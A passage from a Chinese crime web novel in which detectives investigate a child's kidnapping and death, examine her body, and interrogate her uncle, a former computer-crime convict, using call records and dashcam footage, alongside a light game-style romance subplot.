提着早餐走进办公室的程述捡了个话尾,插了句话:“我倒觉得不是布控的问题——秦队辛苦了,喏,给你买了刚出炉的包子。”
秦聿风稍稍调整姿势,坐直了身体,看都没看包子一眼:“怎么说?”
程述挨着祝好在沙发上坐下,双手搭在后脑勺上:“一般的绑匪在实施绑架之后,都会第一时间向家属打去勒索电话,威胁家属不要报警。可这个绑匪为什么等到电视新闻播出之后,才打来电话?”
这么一细想,这个行为确实很让人摸不着头脑。
绑匪打来勒索电话时,距离许子昕失踪已经过去了三四个小时,正常情况下,他一定知道家属早就报警了。
只是当时时间紧迫,大家的注意力都在保证人质的安全上,一时间没人想到这一点。
程述接着说:“还有就是,他为什么会提前那么久告诉我们交易的地点?”
一般情况下,为了保证自身安全、防止警察跟踪,绑匪会临时告知交付赎金的地点和方式。
可这个绑匪在知道许家已经报警的情况下,提前了整整一个晚上告诉他们交易地点,那不就给了警方充足的时间去进行布控吗?
秦聿风手指轻叩桌面,思忖了一会儿:“你这么一说,好像有道理,可他为什么要这么做?”
对啊,虽然列出了疑点,可绑匪为什么要这么做?
祝好心里模模糊糊掠过一个想法,还没等她捋清思绪,秦聿风办公室的门又一次被敲响。
门外的警员脸色很难看,他踟躇片刻,才艰难开口:“秦队。”
秦聿风皱起眉头:“怎么了?”
“刚才接到报警电话,有人在郊区发现一具尸体。”顿了顿,警员才继续说:“是一名六七岁左右的小女孩。”
祝好脑袋“嗡”了一下,下意识看向秦聿风。
秦聿风怔了怔,似乎一下子没反应过来。失神片刻,才扶着眉心叹了口气,吩咐道:“叫上温主任,我们去看看。”
这一路上,连一见面就习惯性互掐的程述和温珣都难得没拌嘴,大家都各自缄默着。在这种时候,就连开个玩笑、缓和气氛的话都很难说出口。
初冬的天气异常干燥,空气中的水分仿佛被抽干一般,每一次呼吸都能感受到肺部有细微的摩擦感。
车刚停好,就有提前到场的警员迎上来:“秦队。”
秦聿风的外套没来得及扣上,在风中猎猎作响,他深呼一口气,问道:“尸体在哪儿?”
“在那边,刑事照相人员已经记录完毕了。”
警员领着他们绕过一条小路,走进树林里。光秃秃的树干已经变成了灰白色,踩在干涸的泥地上,每一步都会带起一片灰尘。
不远处的地上,粉红色的毯子覆盖出一个隆起的人形。
掀开毯子,里面静静躺着一个穿着有兔子图案睡衣的小女孩,她双眼紧闭,绀紫色的脸蛋上有明显的淤血点,显然已经死去多时。
秦聿风拿出手机里许子昕的照片做了对比,又让警员查看了她脖子后面的胎记,基本能确认这就是许子昕。
他把手机放回兜里,掐着腰沉默地伫立片刻,转身对温珣招了招手,示意他进行尸检。
温珣把勘验箱放在地上,叠好毛毯,放进证物袋里交给秦聿风,
又让助手把许子昕的尸体轻放在一张铺设好的塑料布上。
他戴上手套,先是仔细观察了尸体的面部,翻起尸体的眼皮,皱了皱眉:“面部严重绀紫,眼睑球结膜出血点明显。”
说完又让助手翻开尸体的嘴部,用电筒照了照:“口腔黏膜和牙龈处有挫伤,牙齿出现松动,应该是被人用柔软的物体捂压口鼻造成的机械性窒息死亡。”
秦聿风问:“死亡时间能判断吗?”
温珣摇头:“最近天气干燥、气温低,会使尸僵变慢,没办法判断具体的死亡时间,只能把尸体带回去解剖,根据她胃里食物的消化程度做出推断——”
他话音一转,突然说道:“不过有一点很奇怪,一般来说,机械性窒息死亡会伴随着一定程度的失禁,面部也会相对扭曲,可是你看她表情安详,身上也很干净。”
因为被毛毯包裹着,许子昕身上那件带着兔子图案的白色睡衣没有沾上一点灰尘,更没有大小便失禁的痕迹。
祝好提出疑问:“会不会是凶手特地买了新睡衣给她换上?”
秦聿风:“也不是没这个可能,不过一个绑匪在残忍杀害她之后,为什么还要这么做?”
说完他看向蹲在地上若有所思的程述:“老程,你怎么看?”
程述沉吟片刻,问道:“是谁先发现尸体的?”
一旁的警员回答:“是一对晨跑的小情侣,已经做完笔录了。”
程述就跟没听到后面那句话似的:“他们在哪儿?我有事要问问。”
警员指了指警戒线外一对披着毯子、坐在警车上瑟瑟发抖的年轻男女。
程述点点头,朝他们走去,祝好也赶紧跟上前。
那对小情侣看着也就十九、二十岁的模样,身上都穿着运动装,披着警员给的厚毛巾御寒,其中女孩的脸色苍白如纸,显然已经吐了好几回了。
程述径直走到他们面前坐下,没有任何客套,开门见山地问道:“你们是怎么发现尸体的,能再说一遍吗?”
男孩愣了一下,磕磕巴巴地回答:“我们晨跑的时候发现树下有一团粉红色的东西,走近一看,是一张毯子,里面似乎包裹着什么东西。出于好奇,我就找了根木棍把毯子挑开一个角,就发现——”
说到这里,他又捂住嘴,一副随时要吐出来的表情。
“发现毯子的时候大概几点?”
女孩想了想:“应该七点半左右。”
“七点四十。”男孩补充了一句:“当时我刚好接到我妈的电话,通话记录显示是七点四十。”
程述环视周围一圈:“这条路每天都会有人跑步吗?人多不多?”
女孩点点头:“挺多的,不过现在天亮得晚,大家跑步的时间也都晚一些。”
一旁的警员插话:“我们也问了几个晨跑的市民,有的七点钟经过这里时就看到毛毯了,只是没人去打开查看。”
这也正常,现在大部分人的防范意识都比较强,每天晨跑的路上无缘无故出现一个形状奇怪的毛毯,虽然好奇,但应该很少有人会去打开。
毯子上并没有什么枝叶和尘土,很显然这里不是第一案发现场,是有人将许子昕杀死后,再抛尸到这里的。
粉红色的毯子颜色很显眼,抛尸地点每天都会有晨跑的人路过,杀害许子昕的人似乎并没有想要掩藏她的尸体,反而更希望她能早点被人发现。
祝好不解:“他为什么要这么做?是为了向警方和受害者家属示威吗?”
程述没有马上回答,而是在原地思索了好一阵子,才缓缓开口:“不是示威,相反,凶手要么对孩子的死感到愧疚、自责,要么就是很在乎她。”
第120章
“如果是为了向警方示威,凶手直接把尸体随便一扔不就行了,可他却替许子昕换上了新衣服,还给她的尸体盖上了毯子。如果他们之间没有关系,凶手完全没有必要做这些。”
程述突然想到了什么,快步走回抛尸现场,戴上手套把许子昕的睡衣掀到胸口处,小心翼翼地在她的肋骨处摁了摁,然后抬头看向温珣:“胸部肋骨有明显的骨折痕迹。”
温珣闻言也检查了一遍,点头给出了肯定答案:“凶手发现她没有呼吸之后,曾经试图给她做过心肺复苏,力度不小,应该是个成年人。”
程述点点头,动作轻柔地把许子昕的衣服还原:“这就对了。从犯罪心理学的角度来看,这是一种补偿性行为。杀害许子昕的人具有不稳定的犯罪心理结构及尚未完全泯灭的道德是非观,‘杀人’这一行为对他的道德和价值观产生了巨大冲击,让他感到后悔且十分不安。自我保护的心理机制让他选择做出一些补救行为,以逃避杀人带来的负罪感。”
负罪感?
祝好提出猜测:“会不会绑匪本来没打算伤害许子昕,只是不小心失手把她杀死了。”
被绑架的孩子因为害怕而哭闹,绑匪担心惊扰到周围的人、暴露自己,从而误杀了孩子——这样的情节在电影、电视剧里并不少见。
秦聿风习惯性地摸了摸下巴:“照你这么说,绑匪也可能是第一次犯案,失手杀人后感到愧疚很正常,但不代表他一定跟许子昕有关系啊。”
程述摇了摇头:“如果你是绑匪,在知道赎金已经不可能到手、自己又失手杀了人的情况下,会选择把尸体藏在警察永远找不到的地方然后销声匿迹,还是会把尸体安置在一定会有人经过的地方?”
祝好恍然:“绑匪之所以选择在这里抛尸,是因为这里没什么监控,同时又能确保一定会有人经过并发现尸体,这也就说明凶手并不想让许子昕独自在野外呆太久。”
秦聿风露出沉吟不绝的神色:“你的意思是,这个人应该跟许家熟识。”
这句话提醒了祝好:“对了,秦警官,你们记不记得绑匪那天打来的电话里,他曾经说‘如果发现有警察跟着,就等着替子昕收尸’。”
“这也是疑点之一,如果绑匪跟许子昕没关系,应该不会这么称呼她。”程述补充道:“我建议你可以对许志刚和廖莹身边朋友、同事和亲戚的财务状况做一次调查,看看有没有最近陷入财政危机的人。”
“还‘我建议’,你最近变得挺有礼貌啊。”秦聿风露出了这几天难得一见的一声轻笑,调侃了程述一句,目光落在那具小小的尸体上,神情又转瞬凝重起来:“先回去吧,通知家属来认领尸体。”
*
“祝好,你在这儿干什么?”
熟悉的声音让祝好回过神来,她抬起头,对上温珣那双盈满温柔和关切的眼睛。
“没什么。”祝好勉强笑了笑,下意识转头望向停尸间的门,廖莹歇斯底里的哭泣声隔着厚厚的墙壁一下一下撞击着她的心,把她的思绪带回几年前的那个夏夜。
她不自觉垂下眼睛,叹了口气。
“很不习惯吧?”
“嗯。”祝好低声回答。
温珣默了片刻,从白大褂的口袋里掏出一颗薄荷糖,撕开包装递给她。祝好接过糖放进嘴里,冰凉的甜意从舌尖上蔓延开来。
她低头看着自己的鞋尖,问道:“温珣,你经常要面对这样的场景,不会难受吗?”
“当然会了。”温珣的眼神落在停尸间的门上,顿了顿,又说:“不过这次的受害者家属已经非常理智了,有很多家属除了痛哭之外,还会说很多恶毒的话痛斥警察的无能,虽然知道他们只是在发泄失去亲人的痛苦和无助,但我心里也会不好受。”
说话间,停尸房的门开了。
许志刚拥着仍在不停抽泣的廖莹从里面走出来,两个人都佝偻着身子,仿佛被抽空了内核,昔日的体面已经融成了一团烂泥——短短几天之内经历了失去爱女的变故,任谁都无法接受。
“许先生,节哀。”秦聿风哑声说道:“我们可能需要你们帮忙回想看看,身边有没有什么可疑的人。”
许志刚忽地一愣,语气中透露着无奈:“这个问题不是已经回答过了吗?”
秦聿风:“从目前掌握的证据来看,我们有理由怀疑是熟人作案,现在已经在调查了,不过有了你们的帮助,进度会快一些。”
许志刚沉重地摇了摇头:“我想不出来。这几天的事情太多,我的头脑有点混乱。”
“没关系,可以跟我到招待室稍作歇息再慢慢回想。”
“一定要现在吗?”许志刚低头看着怀中几乎无法直立行走的廖莹:“我太太她……她已经很累了,我们只想休息。”
“我知道你们很累,但是我们需要尽快找到绑架许子昕的人。”秦聿风道:“另外,按照规定,我们需要对许子昕的尸体进行解剖,以确定她的死亡时间和具体的死因。”
一直低声啜泣的廖莹突然抬起头来,目光中掺杂着血丝:“可以不解剖吗?子昕还那么小,我不希望她带着不完整的身体离开。”
秦聿风动了动嘴唇:“抱歉,警方对许子昕的死亡原因存疑,我们有权利对尸体进行解剖。”
“可是……”
程述微不可察地皱了下眉,脸上不带任何一丝表情,打断了她的话:“你们难道不想知道许子昕的死因吗?”
“我……”廖莹一时噎住,她深深抽了口气,潦草地点了点头:“好吧。”
秦聿风做了个“请”的手势,示意警员把他们带进了招待室。
温珣看着他们的背影,转头对祝好笑了笑:“
我也回解剖室准备准备。”
祝好点点头。
跟着程述回到秦聿风的办公室里,她先给窗台上那盆花浇了点水,然后转向抱着脑袋看着天花板发呆的程述,继续今早被打断的话题:“老大,你觉不觉得这起绑架案有些蹊跷?”
程述保持着刚才的动作,答非所问:“这起案子也是你的‘剧情任务’吗?”
祝好挠了挠脑袋:“应该是吧。”
“既然是你的‘任务’,那你有什么看法?”
祝好坐在办公椅上,连人带椅挪到他旁边:“你说有没有一种可能,许子昕在交钱赎人之前就已经遇害了,昨天那场围捕,更像是绑匪导演的一出戏。”
程述眼睛一转,很快明白了她的意思,倏地坐直了身子,一针见血地提出问题:“你是觉得,绑匪本想绑架许子昕勒索许家,但在交易之前不小心把她闷死了?
祝好点点头:“所以昨天早上的围捕行动之所以失败,根本不是警方的布控有问题,而是绑匪从头到尾就没有出现过。”
毕竟一般绑匪的目的都是为了钱,就算第一次交易失败了,他应该会想办法制定其他计划,再次拿到赎金才对。
就算要撕票,也得先等钱到手,毕竟人质就是他交易的筹码。
除非人质在交易之前就已经死亡,绑匪失去了筹码,才会放弃那笔赎金。
也就是说,他也许根本不确定交易现场到底有没有警察,在电话里跟廖莹说的那些话,完全就是胡编乱造。
“这个推测倒是挺合理的,不过还是先要等尸检结果出来才能确定许子昕的具体死亡时间。”程述笑了笑:“不错啊,能想到这些,你是不是开挂了?”
听他这么说,祝好十分不满地辩解:“没有!完全是凭我聪明的头脑思考出来的!”
可惜自己只有个乙游系统,如果能开挂,她就不用要花那么多时间去找线索、拼凑真相了。
程述低低笑了一声:“开玩笑的,其实你那么聪明,就算不攒积分、不用那些什么功能,也一样能破案。”
祝好一时没听明白他是在夸赞还是在阴阳,撇了撇嘴,没说话。
夜幕已然降临,警局里依旧有序地忙碌着。
“秦——”技术员匆匆敲响秦聿风办公室的门,推门而入时,却没看到秦聿风的身影,只有祝好和程述坐在里面。她愣了愣,问:“秦队呢?”
程述朝着门外努了努嘴:“还在招待室,有什么发现跟我说也是一样的。”
自打从西临市回来之后,警局的人对他们的态度发生了一百八十度的转变,就连平时看到程述都板着脸的那些人都会客套地打上两句招呼。
技术员没纠结,把手里的资料递给程述:“我们按秦队的要求调查了许志刚和廖莹身边的人,发现廖莹有个哥哥,名叫廖华,比她大四岁,上个月刚出狱,现在租住在一间廉租房里。租房合同上显示,签名的是廖莹。”
程述接过资料,皱了皱眉:“他是因为什么原因入狱的?”
技术员回答:“档案上写的是非法获取计算机信息系统数据、盗取他人钱财,被判了三年。”
祝好想到了什么:“也就是说,他精通计算机技术,完全有能力对电话的信号端进行加密,对吗?”
技术员点点头:“是有这个可能。”
程述低头翻看那一沓资料,眉头越拧越深,突然起身朝着招待室走去,一把推开门,把廖华的资料拍在茶几上,径直向廖莹发问:“你哥哥廖华现在在哪儿?”
秦聿风被吓了一跳,听他这么问,硬生生把“你特么不会开门啊”这句话咽了回去,也向廖莹投去询问的目光。
廖莹愣怔片刻,下意识跟许志刚对视了一眼,然后摇了摇头:“我哥?不知道,我这几天都没跟他联系。”
“你跟他关系怎么样?”
“还行吧。”
“11月13日,也就是你们去露营的前一天晚上,你跟他有过一次通话。电话里你们都说了什么?”
廖莹被一个接一个的问题撞得有些发懵,极其压抑地不断抽着气:“那天,我……我让他来我们家……吃晚饭。”
也就是说,廖华很有可能知道许家第二天要去露营的计划。
廖莹家庭幸福美满,生活富足,儿女双全。而廖华刚出狱,所有财产都被没收了,没有固定工作,过着一穷二白的生活,连房租都是廖莹支付的。
廖华会不会因此生出邪念,绑架了自己的外甥女、向自己的妹妹索要赎金呢?
招待室的门又一次被敲响,一个警员急匆匆走进来汇报:“秦队,我们查到廖华购买了一张今晚八点出发去其他城市的车票。”
祝好一惊:这是要畏罪潜逃吗?
秦聿风猛地转头,跟程述对了个眼神,果决道:“马上派人去车站拦截!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
120-130
第121章
廖华被带回警局时,身上穿着一件灰不拉几的羽绒外套和洗得发白的牛仔裤,外套里面的毛衣已经起球了。他的眉眼跟廖莹有几分相似,只不过三年的牢狱生活,让他看起来比实际年龄沧桑不少。
他捧着一杯热水坐在审讯室里,不安地东张西望,目光触及天花板上的摄像头时又猛地收回,低头看着手里的一次性水杯。
警员提着他的背包走进监控室里,对秦聿风道:“秦队,他的包里有不少衣服和日用品,看上去不像是短期旅行。”
秦聿风点点头,拿起桌上的文件袋,走进了与监控室一玻璃之隔的审讯室。
“廖华,你带那么多行李是要去哪儿呢?”
廖华回答得很简短:“出去旅游。”
秦聿风似笑非笑地看着他:“在这个关头,你还有心思出去旅游?”
这个问题应该很好理解,虽然发现许子昕尸体的消息还未公布,但之前许志刚夫妇上电视直播的新闻已经在淮江市所有电视台滚动播放了。
作为许子昕的舅舅,廖华不可能不知道这件事,可他却仿佛没听懂,愣怔片刻:“嗯?”
秦聿风耐着性子说:“你的外甥女被人绑架了,作为她的亲舅舅,还有闲心出去旅游,是不是太无情了?”
廖华垂着脑袋许久没说话,过了好一会儿,才说:“有哪条法律规定,我外甥女出事了我不能去旅游吗?”
不知出于什么原因,他又补充了一句:“再说了,抓不到绑匪是你们警察无能,跟我又没有半毛钱关系。”
秦聿风歪头盯着他看了片刻,声音渐冷:“那你知道我们请你来干什么吗?”
廖华不以为意一耸肩:“我怎么可能知道你们请我来干什么。”
对问题的生硬重复是十分典型的撒谎反应。
更何况,刚刚秦聿风已经提过许子昕的事了。
秦聿风问:“11月14日的晚上10点到凌晨6点之间,你在哪里?”
廖华哂笑:“你们警察那么无聊的吗?连普通市民的日常生活都要管?”
秦聿风也笑,但话说得很不客气:“当然不是
了,我们这么问你肯定是有原因的。你上一回进监狱,警察也不是无缘无故就抓你的吧?”
猝不及防被戳中痛处,廖华的脸色明显变了一下,没吭声。
秦聿风语气缓和了一些:“再说了,这回我们只是请你回来协助调查而已。你看,手铐都没给你戴上,还请你喝茶了。”
廖华搭在腿上的手指不自觉摩挲着发白的牛仔裤:“你们想调查什么?”
“许子昕的绑架案,我们需要多掌握一些线索。”
廖华的眼角微乎其微一抽,失笑道:“你们不会怀疑我跟绑架案有关吧?”
秦聿风看向他的目光变得锐利起来,不置可否,又把刚才的问题重复了一遍:“请问11月14号,也就是许子昕被绑架的那天晚上10点到凌晨6点之间,你在哪里?”
廖华想也没想就回答:“这个时间当然是在家睡觉了,不然还能去哪儿。”
“有谁能证明吗?”
“没有。”顿了顿,他又补充了一句:“你们可以去查监控。”
警察当然不会想不到这一点,只是廖华租住的廉租房被夹在一片老式居民区之间,到处都是乱建乱造的私人住宅。不少监控都被违建的楼房挡住了视野,想要在里面找到他的身影,也得花费不少功夫。
秦聿风话锋一转,问道:“你跟你妹妹廖莹一家人关系怎么样?”
廖华笼统回答:“还行吧。”
真不愧是亲兄妹,形容自己和对方的关系时,用的都是一样的说辞。
“只是还行吗?我看廖莹对你挺好的啊,你出狱后给你租了房子,还把旧车给你开,不是吗?”
廖华坦然地说:“对,那又怎么了?我妹对我好一点,碍着你们了吗?”
说到廖莹,祝好突然想起什么,转头问身旁的警员:“许志刚和廖莹呢?”
警员:“让他们先回家了,他们家里不是还有个孩子吗?”
祝好了然地点点头——虽然许子昕的死对全家人来说都是一个不小的打击,但活着的人还是要把日子过下去。
她继续把目光转向审讯室。
秦聿风换了一个话题:“你知道许子昕被绑架的消息,有什么感受?”
“没什么特别的感受,顶多有些惋惜而已。我本来就不太喜欢小孩子,那两个外甥跟我也不亲近。”
这个回答挑不出什么毛病,虽然廖华跟廖莹是亲兄妹,但一个事业有成、家庭幸福,一个穷困潦倒、负债累累,根本就是两个世界的人。而且廖华在监狱里呆了三年,他入狱时两个外甥年纪都还小,不亲近也很正常。
“除了13号晚上去了廖莹家吃饭之外,你这几天还去过什么地方吗?”
廖华:“没有,最多就是在附近买包烟而已。”
秦聿风点点头,审视的目光一瞬不瞬落在他身上:“为了方便调查,介意我们查看你的电脑和行车记录仪吗?”
廖华笑了笑,大方回视:“当然没问题,车就停在我家附近。”
他这样的反应,让祝好心里沉了一下——毫无疑问,从他刚才的表现来看,他一定在这起绑架案中扮演了某种角色。
可当秦聿风提出要查看他的电脑和行车记录仪时,他的表情却很坦然,似乎笃定警方根本找不到什么证据。
难道说他还有其他同伙吗?
秦聿风:“那行,我派人去取,辛苦廖先生坐这儿等等。”
“意思是,我得在这里过夜了是吗?”廖华的姿势放松了些,身体向后靠,十指交叉搭在膝盖上:“那麻烦你们尽快,我已经浪费一张车票了,别再耽误我接下来的行程。”
秦聿风从审讯室出来,把廖华的车钥匙交到门外的警员手里,叮嘱了几句。警员会意,转身快步离开了。
廉租房距离警局有十几公里的距离,一来一回至少也要一个小时,看来今天至少得折腾到半夜了。
祝好刚伸了个懒腰,就收到了李砚川的短信。
“好好,你睡了吗?”
祝好看了眼屏幕,已经11点半了,这个点酒吧应该正热闹吧。
她回复:“没呢,我还在警局。”
“这么晚了还有案子吗?也太辛苦了。”
祝好:“不辛苦。”
这倒也不是谦虚,毕竟她只是坐在监控室看着而已,真正辛苦的是秦聿风和加班加点核对廖华这几天的行程和消费记录的警员们。
墙上挂中的分针已经走了半圈,去取行车记录仪里内存卡的警员还没有回来。
秦聿风走到技术员的电脑前,俯身看着屏幕上密密麻麻的代码,问道:“怎么样?”
技术员撇了撇嘴,语气里带着失望:“秦队,他的电脑经过层层加密,有点麻烦,我还需要点时间。”
资料上显示,廖华大学时曾是计算机专业的高材生,他的电脑必然不可能那么容易被破解的。
如果几年前他没有因为一念之差盗取他人的账户而入狱,现在的生活应该也不会比廖莹差太多吧。
秦聿风点点头,伸手敲了敲桌子:“好,大家辛苦了,待会我请你们吃宵夜。”
这句话并没有让埋头工作的警员们精神提振,大家只是稀稀拉拉地应着——队长请客的话,除了垃圾食品就是皮蛋瘦肉粥,没什么激发肾上腺素的提神效果,完全不值得期待。
秦聿风尴尬地清了清嗓:“今晚我们吃点别的——”
他话音还没落,门口值班室的保安突然探头进来:“秦队,你们的外卖到了。”
看着保安手里提着的两大袋包装精致的外卖,秦聿风露出一脸茫然的神色:“啊?我还没下单……”
没等他说完话,所有人都饿虎扑食般争先恐后地挤上前,瓜分着袋子里的东西,刚才还暮气沉沉的办公室瞬间热闹起来。
“秦队,今天居然不是垃圾食品!”
“你中彩票了吗?怎么买那么多!”
“今天可以改善伙食了——意面、烤翅,居然有牛排!秦队,你怎么突然那么大方了?”
祝好的手机突然响了起来,她看了眼屏幕,在众人七嘴八舌的惊呼中走出办公室,来到外面的走廊上,摁下了接听键。
电话刚接通,李砚川带着笑意的声音就传了出来:“好好,外卖收到了吗?”
如祝好所料,果然是他的杰作。
祝好透过窗户瞥向被大家瓜分完毕后,仍是满满当当的两个袋子:“送到了,不过你这也太破费了,送了那么多。”
李砚川:“没事,你大半夜还要工作,太辛苦了,我特地让后厨做了些好吃的让你跟大家分着吃,你快趁热试试合不合口味。”
“好,待会就吃。”祝好说:“李砚川,谢谢你。”
“别跟我客气,你也注意身体,不然……我会心疼的。”
突如其来的直球让祝好的心跳无端漏了一拍,脸不由得烧烫起来:“知道了,我会的。”
对面的李砚川低低地笑出声:“对了,过几天你有时间吗?我朋友开了家咖啡店,我想带你去转转。”
吃人嘴短,祝好没有拒绝的理由:“好啊,等我先忙完这个案子。”
挂断电话,她心虚地抬手探了探脸上的温度,确认脸色如常了才转身走回办公室里,刚推开门,就看到秦聿风举着一个保温盒左看右看,问道:“祝好,这不是李砚川酒吧的logo吗?”
祝好点点头。
秦聿风哦了一声,又问:“他怎么突然送了那么多吃的来?”
祝好愣住了。
为什么呢?
同为可攻略对象,总不能告诉他是因为李砚川心疼自己工作太晚了吧?
第122章
祝好转动眼珠子向程述投去求助的目光,哪曾想这位军师一脸幸灾乐祸,默默把头扭到一旁,一点儿江湖道义都不讲。
祝好想了半天都没找到合理的解释,只好把功劳揽到了自己身上:“是这样……我看大家工作到那么晚,太辛苦了,就请李砚川做了点吃的送过来,也当照顾他生意了。”
“你买的?”秦聿风看着那
两大袋外卖,略微愕然地皱了皱眉:“一下子买那么多,也太破费了。这样吧,你看看多少钱,我转给你。”
“没事没事,李砚川给我打了折的,成本价,还附赠了不少。”祝好干巴巴地笑了一声,从那些保温盒里拿了一份递给他,岔开话题:“秦警官,你也赶紧趁热吃点儿,这几天你都没怎么休息过,太辛苦了。”
秦聿风这才没再推脱,接过保温盒,笑着跟她说了声谢谢,又交代警员给同样还在忙碌的法医办公室也送去几份。
系统传出提示音:“跟秦聿风的好感度+5,获得50积分!”
祝好更心虚了,莫名有了种借花献佛,佛一高兴,又反手还了两朵花的感觉,不过不管怎么样,好歹是暂时把这件事给圆回去了。
她堪堪松了口气,随手从袋子里拿了一盒蛋挞,转过身给了程述一个冷飕飕的眼神,把他连人带椅推到办公室的角落,压低声音埋怨道:“你怎么笑得出来的,还军师呢,看热闹就算了,也不帮我说句话。”
程述故作为难地摇了摇头:“一次性攻略三个人,难度太大了,再厉害的军师也没辙啊。再说了,我还挺想看看海王是怎么翻船的。”
祝好捏紧拳头,咬牙切齿:“什么海王,我这是为了积分献身好吗?”
“如果觉得太为难,不攻略不就行了?”程述满不在乎地耸了耸肩:“我不是说过了吗,你那么聪明,就算不开外挂也一样能破案。”
“没有积分,那天晚上我们早就冻死了。”祝好懒得跟他费口舌,打开蛋挞的盒子,拿了一个递到他面前:“你吃不吃?”
“不吃,大半夜吃甜食,你不怕胖我还怕呢。”程述偏头躲开了她的投喂。
祝好斜了他一眼,八卦之心突然没理由地燃烧起来,嘴角挑起一个不怀好意的弧度,凑到他耳边问:“老大,说实话,你是不是喜欢上哪个姑娘了?”
程述明显愣了一下:“什么?”
“我感觉你最近偶像包袱很重啊。”祝好离远了一些,抱着双臂眯着眼上下打量他:“你看看,不但开始注重外表了,饮食也变得健康了。”
说着又凑到他面前,嗅了嗅他衣领上若有似无的香味,啧了一声:“你是不是还喷香水了?”
“没有,你嗅觉有问题。”程述肉眼可见地浑身一僵:“靠那么近,不怕老秦看到吗?”
祝好嗤笑一声:“你这会儿倒是想起自己‘军师’的职责了。”
她把蛋挞塞进嘴里,说:“如果你真的有心仪的姑娘记得告诉我,我好提前找个新地方搬出去。”
程述飞快抬眼,脱口说:“不用。”
祝好:“啊?”
他像是要掩饰什么似的干咳了一声,拿起盒子里的另一个蛋挞咬了一口,才含混不清地说:“我说,不用搬出去,你想住多久就住多久,我没有喜欢的人。”
“哦,那就是单纯臭美呗。”
程述没吭声,脚尖一点地,把椅子转了个方向,背对祝好默默吃起了蛋挞。
祝好看着他的背影,无奈地感慨了句:“男人可真难懂。”
在美食的驱动下,技术员那边很快有了好消息:“秦队,有线索了。”
所有人的目光都齐刷刷聚过去,一满室萎靡一扫而空。秦聿风赶紧放下吃到一半的意面,凑到电脑屏幕前。
技术员的声音里有按捺不住的激动:“廖华分别从用特殊软件处理的号码给廖莹打过两个电话,通话时间分别是1分43秒和8分16秒,与廖莹接到绑匪电话的时间以及通话时长相符。”
与此同时,前去取内存卡的警员也匆匆赶回警局里,一进门,先发出一声“好香啊”的感慨,接着立刻把内存卡交到秦聿风手里:“秦队,东西拿到了,这是从廖华的车里取来的。”
秦聿风让技术员把内存卡放进电脑里,读取了里面的数据。
行车记录仪是车辆启动时自动录像的,只要车子一熄火,录像就会暂停。
技术员把时间拉到11月14日。凌晨三点钟左右,廖华的车启动了,缓缓从廉租房的路边驶出,一路穿过空荡的市区街道,驶向郊区,在一处荒无人烟的树林中停下。
停车熄火后,画面就停止了。
下一次记录是大约20分钟之后,车辆重新启动,径直开回了廉租房附近。
不过自始至终,廖华的身影都并未出现在画面中。
秦聿风又让技术员把时间调到了昨天晚上,凌晨的4点20分,车辆又一次启动。不过这回换了个方向,穿过空无一人的城市街道后,在一片树林附近停下了。
又过了十几分钟,记录仪重新开始记录,一路回到了廉租房。
虽然从行车记录仪的画面中无法判断具体的方位,但这两个时间范围,与许子昕失踪以及发现她尸体的时间范围基本重合。
秦聿风把几个小伙子分别组成两队,让他们开着车从廉租房附近出发,跟着行车记录仪的路线走一遍,就能确定廖华到底去了哪里。
天快亮的时候,两组人终于传回了消息。经过比对,廖华行车记录仪中的路线及终点,都在许家的扎帐篷的露营地、以及发现许子昕尸体的地点附近。
通话记录加上行车记录仪的视频,证据确凿得就差把“凶手”两个字写在廖华脸上了。
办公室里如同被注入了一管鸡血,一晚上的萎靡一扫而空。这起困扰了刑警队几天的绑架案似乎已经拨云见日,露出了真相的一角。
祝好看着欢呼的众人,却依旧眉头紧皱。她有些想不明白,廖华不可能不知道行车记录仪把他的行程记录得一清二楚,可他为什么非但没有表现出任何一丝惊慌,反而还十分坦然呢?
难道是觉得事情已经没有转圜的余地,索性自暴自弃了吗?
带着这两份证据,秦聿风回到了审讯室里。
廖华已经趴在桌子上睡着了,秦聿风敲了敲桌面,把他从睡梦中叫醒。他迷迷糊糊抬起头,揉了揉眼睛,茫然片刻才回想起自己身处警局。
“查清楚了?我可以走了吗?”他说着就要站起身。
“恐怕还不行。”秦聿风抬手摁住他的肩膀,冲他扬了扬手里的文件袋:“为了找这些证据,可真是把我们折腾得够呛。”
廖华的眼底闪过一丝不易察觉的错愕,但很快又恢复如常,稍稍调整了一下坐姿:“我说了我跟这件事没关系。”
“几乎所有坐在你这个位置上的人都说过这句话。”秦聿风在他对面坐下,冲他露出一个看似随意的微笑:“你猜他们最后都怎么样了?”
心里揣着事,哪怕审讯室暖气充足、无人叨扰,廖华也只是勉强眯眼打了个盹儿,根本没又睡着,这会儿脑子还有些迷糊。
听到这句话,他脸色一变,没说话。
“真不愧是计算机专业的高材生,秘密藏得可真够深的。你之所以那么自信,是觉得我们没办法找到你电脑里删除之后又层层加密的软件,对吧?可惜要让你失望了。”
秦聿风把打印出来的通话记录摆在桌上:“你的it技术是不错,不过我们警局的技术部也不是吃白饭的。”
廖华看了通话记录一眼,不死心地抵赖:“两个电话能说明什么?”
秦聿风的眼神冷下来,直勾勾盯着他:“如果只是两个普通的电话,的确不能说明什么,不过你这电话是打给你妹妹廖莹的,时间分别11月15日上午10点23分,以及11月16日上午7点02分。不如你告诉我们,你在电话里都说了什么?”
廖华张了张嘴,艰难地从嗓子眼里挤出一句狡辩:“我跟我妹妹打电话也犯法吗?”
秦聿风笑了笑,递上一个意味深长的眼神:“打电话当然不犯法,不过绑架、杀人犯不犯法,你应该清楚吧?”
廖华一拍桌子就要站起来,被秦聿风用一个不容置疑的眼神摁在了
座位上,但嘴上仍在嚷嚷:“绑架杀人?杀什么人,你们、你们可别信口雌黄!警察就可以随意污蔑人吗?”
秦聿风也不想跟他绕圈子了,从文件袋里拿出几张照片在他面前排开:“今天早上,我们在郊区一片树林里发现了许子昕的尸体,你猜怎么着?你的行车记录仪记录下了你把车从家里开到树林附近的全过程。”
照片上许子昕双目紧闭,那张绀紫色的脸庞还带着未脱的稚气。
廖华愣怔片刻,似乎一时没反应过来,瞪大双眼盯着照片看了好一会儿,脸上的血色瞬间退去,突然扶着桌子就要站起来,嘴里喃喃道:“不可能,不是我,不是我……”
秦聿风微微皱眉,把椅子向后挪了些:“廖华,坐下,你别耍花样。”
廖华仿佛没听到,双手捂住自己的胸口,一呼一吸也逐渐变得急促起来。他身子一歪,整个人瘫倒在地上,还把椅子也带倒了。
秦聿风赶紧起身,绕过桌子扶住他:“廖华?廖华?快打电话叫救护车!”
警局里所有人都被审讯室里的动静吓了一跳,顿时乱成一锅粥,最后也不知是谁先反应过来,喊了句:“去找温主任!”
